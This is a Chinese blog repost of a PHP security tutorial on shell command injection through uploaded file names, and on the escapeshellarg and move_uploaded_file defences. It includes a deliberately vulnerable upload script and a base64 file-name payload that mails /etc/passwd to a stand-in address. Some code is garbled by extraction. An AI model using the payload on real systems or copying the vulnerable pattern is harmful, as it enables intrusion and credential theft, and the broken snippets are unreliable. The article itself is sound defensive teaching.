PHP安全(2) (轉)

amyz發表於2007-11-16
PHP安全(2) (轉)[@more@]

:namespace prefix = o ns = "urn:schemas--com::office" /> 

by
2003" Day="28" Month="8">08/28/2003

歡迎回到 Foundations。在我的上一篇文章中,我向你們介紹了在PHP中可能危及的做法,繼續了我在養成良好的PHP習慣方面的系列文章。

這篇文章將用更多的潛在安全和修復它們的工具和方法的例項來繼續我們的討論。今天我將開始談及一個在PHP開發中很嚴重的潛在安全漏洞——編寫底層操作的程式。 

在PHP中系統呼叫

在PHP中有很多方法可以執行系統呼叫。

比如,system() exec() passthru() popen() 反單引號(`運算子都允許你在程式中執行系統呼叫。如果不適當的使用上邊這些將會為惡意在你的上執行系統命令開啟大門。像在訪問時,絕大多數情況下,安全漏洞發生在由於不可靠的外部輸入導致的系統命令執行。

使用系統呼叫的一個例子程式

考慮一個處理http檔案的程式,它使用zip來檔案,然後把它移動到指定的目錄(預設為/usr/local/archives/)。程式碼如下:


  $zip  = "/usr/bin/zip";


  $store_path = "/usr/local/archives/";



  if (isset($_FILES['file'])) {


  $tmp_name = $_FILES['file']['tmp_name'];


  $cmp_name = dirname($_FILES['file']['tmp_name']) .


  "/{$_FILES['file']['name']}.zip";


  $filename = basename($cmp_name);



  if (file_exists($tmp_name)) {


  $systemcall = "$z$cmp_name $tmp_name";


  $output  = `$systemcall`;



  if (file_exists($cmp_name)) {


  $savepath = $store_path.$filename;


  rename($cmp_name, $savepath);


  }


  }


  }


?>





File to compress:




雖然這段程式看起來相當簡單易懂,但是惡意使用者卻可以透過一些方法來利用它。最嚴重的安全問題存在於我們執行了壓縮命令(透過`運算子),在下邊的行中可以清楚的看到這點:

if (isset($_FILES['file'])) {


  $tmp_name = $_FILES['file']['tmp_name'];


  $cmp_name = dirname($_FILES['file']['tmp_name']) .


  "/{$_FILES['file']['name']}.zip";



  $filename = basename($cmp_name);



  if (file_exists($tmp_name)) {


  $systemcall = "$$cmp_name $tmp_name";


  $output = `$systemcall`;


...


欺騙程式執行任意命令

雖然這段程式碼看起來相當安全,它卻有使任何有檔案上傳的使用者執行任意shell命令的潛在危險!

準確的說,這個安全漏洞來自對$cmp_name變數的賦值。在這裡,我們希望壓縮後的檔案使用從客戶機上傳時的檔名(帶有 .zip副檔名)。我們用到了$_FILES['file']['name'](它包含了上傳檔案在客戶機時的檔名)。

在這樣的情況下,惡意使用者完全可以透過上傳一個含對底層有特殊意義字元的檔案來達到自己的目的。舉個例子,如果使用者按照下邊的形式建立一個空檔案會怎麼樣?( shell提示符下)

[user@localhost]# touch ";php -r '$code=base64_decode(


  "bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");


system($code);';"


這個命令將建立一個名字如下的檔案:

;php -r '$code=base64_decode(


"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");


system($code);';


看起來很奇怪?讓我們來看看這個“檔名”,我們發現它很像使CLI版本的PHP執行如下程式碼的命令:


$code=base64_decode(


  "bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");


system($code);


?>


如果你出於好奇而顯示$code變數的內容,就會發現它包含了 baduser@somewhere.< /etc/passwd。如果使用者把這個檔案傳給程式,接著PHP執行系統呼叫來壓縮檔案,PHP實際上將執行如下語句:

/usr/bin/zip /tmp/;php -r


'$code=base64_decode(


  "bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");


system($code);';.zip /tmp/phpY4iatI


讓人吃驚的,上邊的命令不是一個語句而是3個!由於UNIX shell 把分號(;)解釋為一個shell命令的結束和另一命令的開始,除了分號在在引號中時,PHP的system()實際上將如下執行:

[user@localhost]# /usr/bin/zip /tmp/


[user@localhost]# php -r


'$code=base64_decode(


  "bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");


system($code);'


[user@localhost]# .zip /tmp/phpY4iatI


如你所見,這個看起來無害的PHP程式突然變成執行任意shell命令和其他PHP程式的。雖然這個例子只會在路徑下有CLI版本的PHP的系統上有效,但是用這種技術可以透過其他的方法來達到同樣的效果。

對抗系統呼叫

這裡的關鍵仍然是,來自使用者的輸入,不管內容如何,都不應該相信!問題仍然是如何在使用系統呼叫時(除了根本不使用它們)避免類似的情況出現。為了對抗這種型別的攻擊,PHP提供了兩個函式,escapeshellarg()escapeshellcmd()

escapeshellarg()函式是為了從用作系統命令的引數的使用者輸入(在我們的例子中,是zip命令)中移出含有潛在危險的字元而設計的。這個函式的語法如下:

escapeshellarg($string)


$string所在處是用於過濾的輸入,返回值是過濾後的字元。執行時,這個函式將在字元兩邊新增單引號,並轉義原來字串中的單引號(在其前邊加上)。在我們的例程中,如果我們在執行系統命令之前加上這些行:

$cmp_name = escapeshellarg($cmp_name);


$tmp_name = escapeshellarg($tmp_name);


我們就能透過確保傳遞給系統呼叫的引數已經處理,是一個沒有其他意圖的使用者輸入,以規避這樣的安全風險。

escapeshellcmd()escapeshellarg()類似,只是它只轉義對底層作業系統有特殊意義的字元。和escapeshellarg()不同,escapeshellcmd()不會處理內容中的空白格。舉個例項,當使用escapeshellcmd()轉義時,字元

$string = "'hello, world!';evilcommand"


將變為:

'hello, world';evilcommand


如果這個字串用作系統呼叫的引數它將仍然不能得到正確的結果,因為shell將會把它分別解釋為兩個分離的引數: 'helloworld';evilcommand。如果使用者輸入用於系統呼叫的引數列表部分,escapeshellarg()是一個更好的選擇。

保護上傳的檔案

在整篇文章中,我一直只著重講系統呼叫如何被惡意使用者劫持以產生我們不希望結果。

但是,這裡還有另外一個潛在的安全風險值得提到。再看到我們的例程,把你的注意力集中在下邊的行上:

$tmp_name = $_FILES['file']['tmp_name'];


$cmp_name = dirname($_FILES['file']['tmp_name']) .


  "/{$_FILES['file']['name']}.zip";



$filename = basename($cmp_name);


if (file_exists($tmp_name)) {


上邊片斷中的程式碼行導致的一個潛在安全風險是,最後一行我們判斷上傳的檔案是否實際存在(以臨時檔名$tmp_name存在)。

這個安全風險並不來自於PHP自身,而在於儲存在$tmp_name中的檔名實際上根本不是一個檔案,而是指向惡意使用者希望訪問的檔案,比如,/etc/passwd

為了防止這樣的情況發生,PHP提供了is_ed_file()函式,它和file_exists()一樣,但是它還提供檔案是否真的從客戶機上上傳的檢查。

在絕大多數情況下,你將需要移動上傳的檔案,PHP提供了move_uploaded_file()函式,來配合is_uploaded_file()。這個函式和rename()一樣用於移動檔案,只是它會在執行前自動檢查以確保被移動的檔案是上傳的檔案。move_uploaded_file()的語法如下:

move_uploaded_file($filename, $destination);


在執行時,函式將移動上傳檔案$filename到目的地$destination並返回一個布林值來標誌操作是否成功。

是一位PHP顧問和作者。從他開始為PHP不眠已經5年左右了。


來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10752019/viewspace-982666/,如需轉載,請註明出處,否則將追究法律責任。

相關文章